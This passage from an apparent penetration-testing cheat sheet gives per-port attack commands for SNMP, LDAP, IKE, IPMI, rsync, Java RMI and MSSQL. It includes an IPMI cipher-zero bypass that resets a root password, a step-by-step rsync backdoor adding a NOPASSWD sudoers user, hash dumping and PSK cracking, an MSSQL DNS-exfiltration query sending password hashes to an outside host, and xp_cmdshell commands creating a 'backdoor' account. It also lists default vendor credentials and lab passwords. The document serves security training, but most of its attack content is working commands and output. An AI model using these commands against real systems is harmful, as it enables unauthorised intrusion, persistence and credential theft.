uid=111(Debian-snmp) gid=113(Debian-snmp) groups=113(Debian-snmp)
```

### SNMP IPv6 Enumeration&#x20;

[Enyx](/infrastructure-testing/tools/enyx) is an enumerator tool about grabbing the possible IPV6 of a machine through the snmp protocol.&#x20;

### SNMPv3&#x20;

Identify SNMPv3 servers with nmap:&#x20;

`nmap -sV -p 161 --script=snmp-info TARGET-SUBNET`&#x20;

Rory McCune’s snmpwalk wrapper script helps automate the username enumeration process for SNMPv3:&#x20;

```
apt-get install snmp snmp-mibs-downloader 
wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb
```

### &#x20;SNMP  Enumeration - Windows tool

Getif is a free multi-functional Windows GUI based Network Tool written by Philippe Simonet.  It is amongst other things, an excellent SNMP tool that allows you to collect and graph information from SNMP devices.&#x20;

Download:&#x20;

<http://www.wtcs.org/snmp4tpc/getif.htm>&#x20;

Install and set compatability as Windows XP SP2&#x20;

Press STRAT once you put the IP and public commuinty&#x20;

Download the  SNMP4tPC Getif MIB collection as well.

![](https://3352625434-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M4xwp6Mq18nX8yR4M5z%2F-M5CoHXR_CDP2-jHs4GY%2F-M5Czg8ou12NfM-4VYcn%2FGetImage.gif?alt=media\&token=6504ae01-f7b9-429a-b796-1278e79b9b18)

For each tab press 'start' to get the information &#x20;

`Error: If you getting 'DllRegisterServer (msflxgrd) failed' error` – run the software as administrator &#x20;

### **Common Mibs**

**interfaces** \
`snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.2.2`&#x20;

**Windows User Accounts** \
`snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.25`&#x20;

**Windows Running Programs** \
`snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.4.2.1.2`&#x20;

**Windows Hostname** \
`snmpwalk -c public -v1 $TARGET .1.3.6.1.2.1.1.5`&#x20;

**Windows Share Information** \
`snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.3.1.1`&#x20;

**Windows Share Information** \
`snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.27`&#x20;

**Windows TCP Ports** \
`snmpwalk -c public -v1 $TARGET4 1.3.6.1.2.1.6.13.1.3`&#x20;

**Software Name** \
`snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.6.3.1.2`&#x20;

**SysLocation** \
`snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.1.6`

### Solaris MIBS

Enumerate users on solaris:

`use auxiliary/scanner/snmp/snmp_enumusers`

### Download Cisco Conf

Copies configuration files from Cisco devices running SNMP.&#x20;

**Usage**:&#x20;

```
root@kali:~# copy-router-config.pl 
###################################################### 
# Copy Cisco Router config  - Using SNMP 
# Hacked up by muts - muts@offensive-security.com 
####################################################### 
Usage : ./copy-copy-config.pl <router-ip> <tftp-serverip> <community> 
Make sure a TFTP server is set up, preferably running from /tmp ! 
```

**Example:**&#x20;

`root@kali:~# copy-router-config.pl 192.168.1.1 192.168.1.15 private`


# 177 - XDMCP

**Scan:**

```
root@kali:~# nmap -sU 192.168.0.42 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-22 14:57 GMT 
Nmap scan report for 192.168.0.42 
Host is up (0.00065s latency). 
Not shown: 999 open|filtered ports 
PORT    STATE SERVICE 
177/udp open  xdmcp 

Nmap done: 1 IP address (1 host up) scanned in 4.27 seconds 
```

### **Nmap:**

```
nmap -sU -p 177 --script xdmcp-discover <ip> 

PORT    STATE         SERVICE 
177/udp open|filtered xdmcp 
| xdmcp-discover: 
|   Session id: 0x0000703E 
|   Authorization name: MIT-MAGIC-COOKIE-1 
|_  Authorization data: c282137c9bf8e2af88879e6eaa922326 
```

### Xepher

<https://doc.rogerwhittaker.org.uk/Xephyr/>&#x20;

`Xephyr -from 192.168.0.42 -query 192.168.0.41 -screen 800x600 :1`&#x20;

Note: Make sure you add '-from', if not added the XDMCP won't know where to send the screen back to.

### Remmina

install xdmcp support:&#x20;

`Apt install remmina-plugin-xdmcp`&#x20;

Press 'new connection profile' and change protocol to XDMCP

### Xnest&#x20;

Install:

`apt-get install xnest`&#x20;

Run:

`Xnest -ac -query ip_address :1 -geometry 1024x768`&#x20;

### **Enable XDMCP on Ubuntu host**

Ubuntu 12.04 LTS uses lightdm by default. XDMCP is disabled by default but can be enabled by adding the following to "/etc/lightdm/lightdm.conf":

```
[XDMCPServer] 
enabled=true 


```

Restart lightdm after this:

`sudo restart lightdm`

and execute:

xhost +


# 363 - LDAP

The Lightweight Directory Access Protocol is an open, vendor-neutral, industry standard application protocol for accessing and maintaining distributed directory information services.

### ldapdomaindump

Active Directory information dumper via LDAP

link: <https://github.com/dirkjanm/ldapdomaindump>

enumerating using username and password:&#x20;

```
root@kali# ldapdomaindump -u 'htb.local\amanda' -p Ashare1972 10.10.10.103 -o ~/hackthebox/sizzle-10.10.10.103/ldap/ 
[*] Connecting to host... 
[*] Binding to host 
[+] Bind OK 
[*] Starting domain dump 
[+] Domain dump finished 
root@kali# ls ~/hackthebox/sizzle-10.10.10.103/ldap/ 
domain_computers_by_os.html  domain_computers.json  domain_groups.json  domain_policy.json  domain_trusts.json          domain_users.html 
domain_computers.grep        domain_groups.grep     domain_policy.grep  domain_trusts.grep  domain_users_by_group.html  domain_users.json 
domain_computers.html        domain_groups.html     domain_policy.html  domain_trusts.html  domain_users.grep 
```

### Nmap

nmap --script ldap-\* 10.10.10.169&#x20;

### ldapsearch

Anonymous Credential LDAP Dumping:

`ldapsearch -LLL -x -H ldap://10.10.10.175 -b ‘’ -s base ‘(objectclass=*)’`

* `-x` - simple auth
* `-h 10.10.10.175` - host to query
* `-s base` - set the scope to base

Find domain name using base naming contexts:

`ldapsearch -h 10.10.10.192 -x -s base namingcontexts`

Find information using domain name:

`ldapsearch -h 10.10.10.192 -x -b "DC=BLACKFIELD,DC=local"`

search using credentials:

`ldapsearch -h 10.10.10.192 -D cn=support,dc=blackfield,dc=local -w 'password' -x -b 'dc=blackfield,dc=local'`

### &#x20;windapsearch

Python script to enumerate users, groups and computers from a Windows domain through LDAP queries

Link: <https://github.com/ropnop/windapsearch>

Usage:&#x20;

```
$  ./windapsearch.py -d lab.ropnop.com -u ropnop\\ldapbind -p GoCubs16 -U
```

### go-windapsearch&#xD;

Link: <https://github.com/ropnop/go-windapsearch>

Go version of windapsearch


# 443 - HTTPS

openssl show cert:

`openssl s_client -showcerts -connect mail.nixcraft.net:443`

Connect to a service on ssl:

```
openssl s_client -connect mail.nixcraft.net:443
```


# 500 - IKE (IPSEC)

IKE is aprt of IPSec protocol, which is part of VPN's, it uses UDP port 500

### &#x20;IKEFORCE&#x20;

Use IKEForce to enumerate or dictionary attack VPN servers.&#x20;

Install:&#x20;

```
pip install pyip 
git clone https://github.com/SpiderLabs/ikeforce.git 
 
```

Perform IKE VPN enumeration with IKEForce:&#x20;

`./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic` \
&#x20;

Bruteforce IKE VPN using IKEForce:&#x20;

`./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1`&#x20;

### ike-scan&#x20;

```
ike-scan TARGET-IP 
ike-scan -A TARGET-IP 
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
```

&#x20;IKE Aggressive Mode PSK Cracking&#x20;

1. Identify VPN Servers&#x20;
2. Enumerate with IKEForce to obtain the group ID&#x20;
3. Use ike-scan to capture the PSK hash from the IKE endpoint&#x20;
4. Use psk-crack to crack the hash&#x20;

Step 1: Identify IKE Servers (uses <https://github.com/portcullislabs/udp-proto-scanner>)

`./udp-protocol-scanner.pl -p ike SUBNET/24`&#x20;

Step 2: Enumerate group name with IKEForce&#x20;

`./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic`&#x20;

Step 3: Use ike-scan to capture the PSK hash&#x20;

`ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP`&#x20;

Step 4: Use psk-crack to crack the PSK hash&#x20;

`psk-crack hash-file.txt`&#x20;

Some more advanced psk-crack options below:&#x20;

```
pskcrack 
psk-crack -b 5 TARGET-IPkey 
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key 
psk-crack -d /path/to/dictionary-file TARGET-IP-key 
```


# 512/513/514 - R Services

The Berkeley r-commands are a suite of computer programs designed to enable users of one Unix system to log in or issue commands to another Unix computer.

**Note** that on kali the r services by default mapped to SSH, so the application will need to be installed by running:

`apt install rwho rlogin rsh-client`

### RSH

Port : 514

RSH Run Commands&#x20;

`rsh <target> <command>`&#x20;

Metasploit RSH Login Scanner&#x20;

`auxiliary/scanner/rservices/rsh_login`&#x20;

rusers Show Logged in Users&#x20;

`rusers -al 192.168.2.1`&#x20;

rusers scan whole Subnet&#x20;

`rlogin -l <user> <target>`&#x20;

### Rlogin&#x20;

Port: 513

One of the services that you can discover in Unix environments is the rlogin.This service runs on port 513 and it allows users to login to the host remotely.This service was mostly used in the old days for remote administration but now because of security issues this service has been replaced by the slogin and the ssh.However if you find a system that is not properly configured and is using this service then you should try to exploit.&#x20;

Install rlogin client: &#x20;

`apt install rsh-client`&#x20;

The last step is to use the command:&#x20;

`rlogin -l root IP`&#x20;

This command will try to login to the remote host by using the login name root&#x20;

Metasploit module:&#x20;

`use auxiliary/scanner/rservices/rsh_login`&#x20;

### Rwho&#x20;

Return users currently logged onto the system&#x20;

Use nmap to identify machines running rwhod (513 UDP)&#x20;

Use rwho (apt install rwho)&#x20;

```
mike@ubuntu12:~$ rwho 
Mike  ubuntu12:pts/0 Jan 22 13:24 
Mike  ubuntu12:tty7 Jan 22 13:24 
```

### Rusers

rusers runs as an rpc service and can be enumerated through the  `rpcinfo -p <ip>` command

```
100002 2 udp 32776 rusersd
100002 3 budp 32776 rusersd
100002 2 tcp 32777 rusersd
100002 3 tcp 32777 rusersd
```

To enumerate current logged in users issue: `rusers [-l] <ip>`


# 623 - IPMI

Intelligent Platform Management Interface (IPMI)  is a set of computer interface specifications for an autonomous computer subsystem that provides management and monitoring capabilities independently.

### Metasploit

### Find version

```
msf > use auxiliary/scanner/ipmi/ipmi_version
msf auxiliary(ipmi_version) > set RHOSTS 10.0.0.0/24
msf auxiliary(ipmi_version) > run
[*] Sending IPMI requests to 10.0.0.0->10.0.0.255 (256 hosts)
[+] 10.0.0.22:623 - IPMI - IPMI-2.0 UserAuth(auth_user,non_null_user) PassAuth(md5,md2)Level(1.5,2.0)
```

### Dump hashes

```
use auxiliary/scanner/ipmi/ipmi_dumphashes 
set rhosts [TARGETS] 
run 
```

### Common default credentials

| Product Name                                    | Default Username | Default Password                         |
| ----------------------------------------------- | ---------------- | ---------------------------------------- |
| HP Integrated Lights Out (iLO)                  | Administrator    | \<factory randomized 8-character string> |
| Dell Remote Access Card (iDRAC, DRAC)           | root             | calvin                                   |
| IBM Integrated Management Module (IMM)          | USERID           | PASSW0RD (with a zero)                   |
| Fujitsu Integrated Remote Management Controller | admin            | admin                                    |
| Supermicro IPMI (2.0)                           | ADMIN            | ADMIN                                    |
| Oracle/Sun Integrated Lights Out Manager (ILOM) | root             | changeme                                 |
| ASUS iKVM BMC                                   | admin            | admin                                    |

Resources: <https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/>

## Zero cipher authentication bypass

Zero cipher authentication bypass resulting in administrative access

### Check if vulnerable

```
msf > use auxiliary/scanner/ipmi/ipmi_cipher_zero
msf auxiliary(ipmi_cipher_zero) > set RHOSTS 10.0.0.22
msf auxiliary(ipmi_cipher_zero) > run
[*] Sending IPMI requests to 10.0.0.22->10.0.0.22 (1 hosts)
[+] 10.0.0.22:623 - IPMI - VULNERABLE: Accepted a session open request
```

### Connect

The Linux ipmitool client is used to interact with the service and bypass authentication (via the -C 0 option).

We will set the root user account&#x20;password to abc123 via IPMI.

```
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 root true true true ADMINISTRATOR
3 Oper1 true true true ADMINISTRATOR
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123
root@kali:~# ssh root@10.0.0.22
root@10.121.1.22's password: abc123
17
18
19 20
/admin1-> version
SM CLP Version: 1.0.2
SM ME Addressing Version: 1.0.0b
```


# 873 - RSYNC

Rsync is a utility for transferring and synchronizing files between two servers (usually Linux).

example of Rsyncd.conf file that allows anonymous root access to the entire file system:

```
motd file = /etc/Rsyncd.motd
lock file = /var/run/Rsync.lock
log file = /var/log/Rsyncd.log
pid file = /var/run/Rsyncd.pid

[files]
path = /
comment = Remote file share.
uid = 0
gid = 0
read only = no
list = yes
```

## enumeration

`nmap -p 873 192.168.0.1`

List directory

```
rsync 192.168.1.171::
```

list directory ipv6&#x20;

```
rsync --list-only -a rsync://[dead:beef::0250:56ff:fe88:e5fa]:8730/var/
```

List sub directory contents

```
rsync 192.168.1.171::files
```

List directories and files recursively

```
rsync -r 192.168.1.171::files/tmp/
```

Download files

```
rsync 192.168.1.171::files/home/test/mypassword.txt .
```

Download folders

```
rsync -r 192.168.1.171::files/home/test/
```

Upload files

```
rsync ./myfile.txt 192.168.1.171::files/home/test
```

Upload folders

```
rsync -r ./myfolder 192.168.1.171::files/home/test
```

### Creating a New User through Rsync

If Rsync is configured to run as root and is anonymously accessible, it’s possible to create a new privileged Linux user by modifying the shadow, passwd, group, and sudoers files directly.

Note: The same general approach can be used for any vulnerability that provides full write access to the OS. A few other examples include NFS exports and uploading web shells running as root.

**Creating the Home Directory**\
Let’s start by creating our new user’s home directory.

```
# Create local work directories
mkdir demo
mkdir backup
cd demo

# Create new user’s home directory
mkdir ./myuser
rsync -r ./myuser 192.168.1.171::files/home
```

**Create the Shadow File Entry**\
The /etc/shadow file is the Linux password file that contains user information such as home directories and encrypted passwords. It is only accessible by root.

To inject a new user entry via Rsync you’ll have to:

1. Generate a password.
2. Create the line to inject.
3. Download /etc/shadow. (and backup)
4. Append the new user to the end of /etc/shadow
5. Upload / Overwrite the existing /etc/shadow

Note: Make sure to create a new user that doesn’t already exist on the system. ![😉](https://s.w.org/images/core/emoji/13.0.0/svg/1f609.svg)

Create Encrypted Password:

```
openssl passwd -crypt password123
```

Add New User Entry to /etc/shadow:

```
rsync -R 192.168.1.171::files/etc/shadow .
cp ./etc/shadow ../backup
echo "myuser:MjHKz4C0Z0VCI:17861:0:99999:7:::" >> ./etc/shadow
rsync ./etc/shadow 192.168.1.171::files/etc/
```

**Create Passwd File Entry**\
The /etc/passwd file is used to keep track of registered users that have access to the system. It does not contain encrypted password. It can be read by all users.

To inject a new user entry via Rsync you’ll have to:

1. Create the user entry to inject.
2. Download /etc/passwd. (and back it up so you can restore state later)
3. Append the new user entry to the end of passwd.
4. Upload / Overwrite the existing /etc/passwd

Note: Feel free to change to uid, but make sure it matches the value set in the /etc/group file. ![🙂](https://s.w.org/images/core/emoji/13.0.0/svg/1f642.svg) In this case the UID/GUID are 1021.

Add New User Entry to /etc/passwd:

```
rsync -R 192.168.1.171::files/etc/passwd .
cp ./etc/passwd ../backup
echo "myuser:x:1021:1021::/home/myuser:/bin/bash" >> ./etc/passwd
rsync ./etc/passwd 192.168.1.171::files/etc/
```

**Create the Group File Entry**\
The /etc/group file is used to keep track of registered group information on the system. It does not contain encrypted password. It can be read by all users.

To inject a new user entry via Rsync you’ll have to:

1. Create the user entry to inject.
2. Download /etc/group. (and backup, just in case)
3. Append the new user entry to the end of group.
4. Upload / Overwrite the existing /etc/group file.

Note: Feel free to change to uid, but make sure it matches the value set in the /etc/passwd file. ![🙂](https://s.w.org/images/core/emoji/13.0.0/svg/1f642.svg) In this case the UID/GUID are 1021.

Add New User Entry to /etc/group:

```
rsync -R 192.168.1.171::files/etc/group .
cp ./etc/group ../backup
echo "myuser:x:1021:" >> ./etc/group
rsync ./etc/group 192.168.1.171::files/etc/
```

**Create Sudoers File Entry**\
The /etc/sudoers file contains a list of users that are allowed to run commands as root using the sudo command. It can only be read by root. We are going to modify it to allow the new user to execute any command through sudo.

To inject a entry via Rsync you’ll have to:

1. Create the user entry to inject.
2. Download /etc/sudoers. (and backup, just in case)
3. Append the new user entry to the end of sudoers.
4. Upload / Overwrite the existing /etc/sudoers file.

Add New User Entry to /etc/sudoers:

```
rsync -R 192.168.1.171::files/etc/sudoers .
cp ./etc/sudoers ../backup
echo "myuser ALL=(ALL) NOPASSWD:ALL" >> ./etc/sudoers   
rsync ./etc/sudoers 192.168.1.171::files/etc/
```

Now you can simply log into the server via SSH using your newly created user and sudo sh to root!

source:

<https://blog.netspi.com/linux-hacking-case-studies-part-1-rsync/>


# 1099 - Java RMI

Java Remote Method Invocation (Java RMI) is a Java API that performs remote method invocation, the object-oriented equivalent of remote procedure calls (RPC)

Use BaRMIe to enumerate functions

<https://noraj.gitlab.io/the-hacking-trove/Tools/barmie/>

Download standalone:&#x20;

<https://github.com/NickstaDB/BaRMIe/releases/>

Enumeration:

```

root@kali:$ java -jar BaRMIe_v1.01.jar -enum 172.16.11.18 1100 
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true 

  

  ▄▄▄▄    ▄▄▄       ██▀███   ███▄ ▄███▓ ██▓▓█████  

▓█████▄ ▒████▄    ▓██ ▒ ██▒▓██▒▀█▀ ██▒▓██▒▓█   ▀  

▒██▒ ▄██▒██  ▀█▄  ▓██ ░▄█ ▒▓██    ▓██░▒██▒▒███    

▒██░█▀  ░██▄▄▄▄██ ▒██▀▀█▄  ▒██    ▒██ ░██░▒▓█  ▄  

░▓█  ▀█▓ ▓█   ▓██▒░██▓ ▒██▒▒██▒   ░██▒░██░░▒████▒ 

░▒▓███▀▒ ▒▒   ▓▒█░░ ▒▓ ░▒▓░░ ▒░   ░  ░░▓  ░░ ▒░ ░ 

▒░▒   ░   ▒   ▒▒ ░  ░▒ ░ ▒░░  ░      ░ ▒ ░ ░ ░  ░ 

  ░    ░   ░   ▒     ░░   ░ ░      ░    ▒ ░   ░    

  ░            ░  ░   ░            ░    ░     ░  ░ 

       ░                                     v1.0 

             Java RMI enumeration tool. 

               Written by Nicky Bloor (@NickstaDB) 

  

Warning: BaRMIe was written to aid security professionals in identifying the 

         insecure use of RMI services on systems which the user has prior 

         permission to attack. BaRMIe must be used in accordance with all 

         relevant laws. Failure to do so could lead to your prosecution. 

         The developers assume no liability and are not responsible for any 

         misuse or damage caused by this program. 

  

Scanning 1 target(s) for objects exposed via an RMI registry... 

  

[-] An exception occurred during the PassThroughProxyThread main loop. 

    java.net.SocketException: Socket closed 

[-] An exception occurred during the ReplyDataCapturingProxyThread main loop. 

    java.net.SocketException: Socket closed 

RMI Registry at 172.16.11.18:1100 

Objects exposed: 1 

Object 1 

  Name: creamtec/ajaxswing/JVMFactory 

  Endpoint: 172.16.11.18:49671 

  Classes: 3 

    Class 1 

      Classname: java.rmi.server.RemoteStub 

    Class 2 

      Classname: java.rmi.server.RemoteObject 

    Class 3 

      Classname: com.creamtec.ajaxswing.core.JVMFactory_Stub 

  

1 potential attacks identified (+++ = more reliable) 

[---] Java RMI registry illegal bind deserialization 

  

0 deserialization gadgets found on leaked CLASSPATH 

[~] Gadgets may still be present despite CLASSPATH not being leaked 

  

Successfully scanned 1 target(s) for objects exposed via RMI. 
```

Exploitation use&#x20;

```
java -jar BaRMIe_v1.01.jar -attack 172.16.11.18 1100
```


# 1433 - Microsoft SQL

Microsoft SQL Server is a relational database management system developed by Microsoft.

Normal Port - 1433

Hidden mode port - 2433

## Connect

Connect using one of the following options:&#x20;

### sqsh

`sqsh -S someserver -U sa -P password`&#x20;

### metasploit

metasploit (mssql\_login)&#x20;

`msf auxiliary(mssql_login) > use auxiliary/scanner/mssql/mssql_login`

### mssqclient

Impacket script [mssqclient](/infrastructure-testing/tools/impacket#mssqlclient)&#x20;

`mssqlclient.py reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth`

### sqlcmd

sqlcmd. To use SQL Server Authentication, you must specify a user name and password by using the -U and -P options.

`sqlcmd -y0 -d ADSync -Q "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"`

### crackmapexec

`cme mssql 10.10.10.52 -u james -p 'J@m3s_P@ssW0rd!'`

## MSSQL 2003 commands

taken from: <http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet>

| Task                         | Command                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| ---------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Version                      | SELECT @@version                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| Comments                     | <p>SELECT 1 -- comment </p><p>SELECT /*comment*/1 </p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| Current User                 | <p>SELECT user\_name(); </p><p>SELECT system\_user; </p><p>SELECT user; </p><p>SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID </p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| List Users                   | SELECT name FROM master..syslogins                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| List Password Hashes         | <p>SELECT name, password FROM master..sysxlogins -- priv, mssql 2000; </p><p>SELECT name, master.dbo.fn\_varbintohexstr(password) FROM master..sysxlogins -- priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer. </p><p>SELECT name, password\_hash FROM master.sys.sql\_logins -- priv, mssql 2005; </p><p>SELECT name + '-' + master.sys.fn\_varbintohexstr(password\_hash) from master.sys.sql\_logins -- priv, mssql 2005 </p>                                                                                                                                                                           |
| Password Cracker             | MSSQL 2000 and 2005 Hashes are both SHA1-based. [phrasen\|drescher](https://labs.portcullis.co.uk/application/phrasen-drescher/) can crack these.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| List Privileges              | Impossible?                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| List DBA Accounts            | <p>TODO </p><p>SELECT is\_srvrolemember('sysadmin'); --priv </p><p>-- is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try 'bulkadmin', 'systemadmin' and other values from the <a href="http://msdn.microsoft.com/en-us/library/ms176015.aspx">documentation</a>SELECT is\_srvrolemember('sysadmin', 'sa'); -- is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username. </p>                                                                                                                                                                                                                              |
| Current Database             | SELECT DB\_NAME()                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| List Databases               | <p>SELECT name FROM master..sysdatabases; </p><p>SELECT DB\_NAME(N); -- for N = 0, 1, 2, ... </p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| List Columns                 | <p>SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); -- for the current DB only </p><p>SELECT master..syscolumns.name, TYPE\_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; -- list colum names and types for master..sometable </p>                                                                                                                                                                                                                                                                        |
| List Tables                  | <p>SELECT name FROM master..sysobjects WHERE xtype = 'U'; -- use xtype = 'V' for views </p><p>SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U'; </p><p>SELECT master..syscolumns.name, TYPE\_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; -- list colum names and types for master..sometable </p>                                                                                                                                                                                                                                       |
| Find Tables From Column Name | <p>-- NB: This example works only for the current database. If you wan't to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects). </p><p>SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%' -- this lists table, column for each column containing the word 'password' </p>                                                                                                                                                                                                |
| Select Nth Row               | SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC -- gets 9th row                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| Select Nth Char              | SELECT substring('abcd', 3, 1) -- returns c                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| Bitwise AND                  | <p>SELECT 6 & 2 -- returns 2 </p><p>SELECT 6 & 1 -- returns 0 </p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| ASCII Value -> Char          | SELECT char(0x41) -- returns A                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| Char -> ASCII Value          | SELECT ascii('A') - returns 65                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| Casting                      | <p>SELECT CAST('1' as int); </p><p>SELECT CAST(1 as char) </p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| String Concatenation         | SELECT 'A' + 'B' - returns AB                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| If Statement                 | IF (1=1) SELECT 1 ELSE SELECT 2 -- returns 1                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| Case Statement               | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END -- returns 1                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| Avoiding Quotes              | SELECT char(65)+char(66) -- returns AB                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| Time Delay                   | WAITFOR DELAY '0:0:5' -- pause for 5 seconds                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| Make DNS Requests            | <p>declare @host varchar(800); select @host = name FROM master..syslogins; exec('master..xp\_getfiledetails ''\\' + @host + '\c$\boot.ini'''); -- nonpriv, works on 2000 </p><p>declare @host varchar(800); select @host = name + '-' + master.sys.fn\_varbintohexstr(password\_hash) + '.2.pentestmonkey.net' from sys.sql\_logins; exec('xp\_fileexist ''\\' + @host + '\c$\boot.ini'''); -- priv, works on 2005 </p><p>-- NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary. </p><p>-- Also check out theDNS tunnel feature of <a href="http://sqlninja.sourceforge.net/sqlninja-howto.html">sqlninja</a> </p> |
| Command Execution            | <p>EXEC xp\_cmdshell 'net user'; -- priv </p><p>On MSSQL 2005 you may need to reactivate xp\_cmdshell first as it's disabled by default: </p><p>EXEC sp\_configure 'show advanced options', 1; -- priv </p><p>RECONFIGURE; -- priv </p><p>EXEC sp\_configure 'xp\_cmdshell', 1; -- priv </p><p>RECONFIGURE; -- priv </p>                                                                                                                                                                                                                                                                                                                                                    |
| Local File Access            | <p>CREATE TABLE mydata (line varchar(8000)); </p><p>BULK INSERT mydata FROM 'c:\boot.ini'; </p><p>DROP TABLE mydata; </p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| Hostname, IP Address         | SELECT HOST\_NAME()                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| Create Users                 | EXEC [sp\_addlogin](http://msdn2.microsoft.com/en-us/library/ms173768.aspx) 'user', 'pass'; -- priv                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| Drop Users                   | EXEC [sp\_droplogin](http://msdn2.microsoft.com/en-us/library/ms189767.aspx) 'user'; -- priv                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| Make User DBA                | EXEC [master.dbo.sp\_addsrvrolemember](http://msdn2.microsoft.com/en-us/library/ms186320.aspx) 'user', 'sysadmin; -- priv                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| Location of DB files         | TODO                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| Default/System Databases     | <p>northwind </p><p>model </p><p>msdb </p><p>pubs </p><p>tempdb </p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |

## MSSQL 2017 Commands

Current user’s permissions:

```
SQL> SELECT * FROM fn_my_permissions(NULL, 'SERVER'); 
entity_name    subentity_name    permission_name 
------------   ---------------   ------------------ 
server                           CONNECT SQL 
server                           VIEW ANY DATABASE
```

Check out the databases available:&#x20;

```
SQL> SELECT name FROM master.sys.databases 
name 
----------- 
master 
tempdb 
model 
msdb 
volume 
```

I can look for user generated tables on those databases:&#x20;

```
SQL> use volume 
[*] ENVCHANGE(DATABASE): Old Value: volume, New Value: volume 
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'. 
SQL> SELECT name FROM sysobjects WHERE xtype = 'U' 
name 
------------     
```

## Enumeration

### Nmap

Scan:

`nmap -sU --script=ms-sql-info 192.168.1.108`&#x20;

Dump hashes:&#x20;

`nmap -p1433 --script ms-sql-empty-password,ms-sql-dump-hashes <target>`&#x20;

Execute command:&#x20;

`nmap -Pn -n -sS –script=ms-sql-xp-cmdshell.nse <victim_ip> -p1433 –script-args mssql.username=sa,mssql.password=<sql_password>,ms-sql-xp-cmdshell.cmd=”net user backdoor backdoor123 /add”`

### Metasploit

#### Find MSSQL servers:&#x20;

`msf > use auxiliary/scanner/mssql/mssql_ping`&#x20;

####

#### mssql\_enum &#x20;

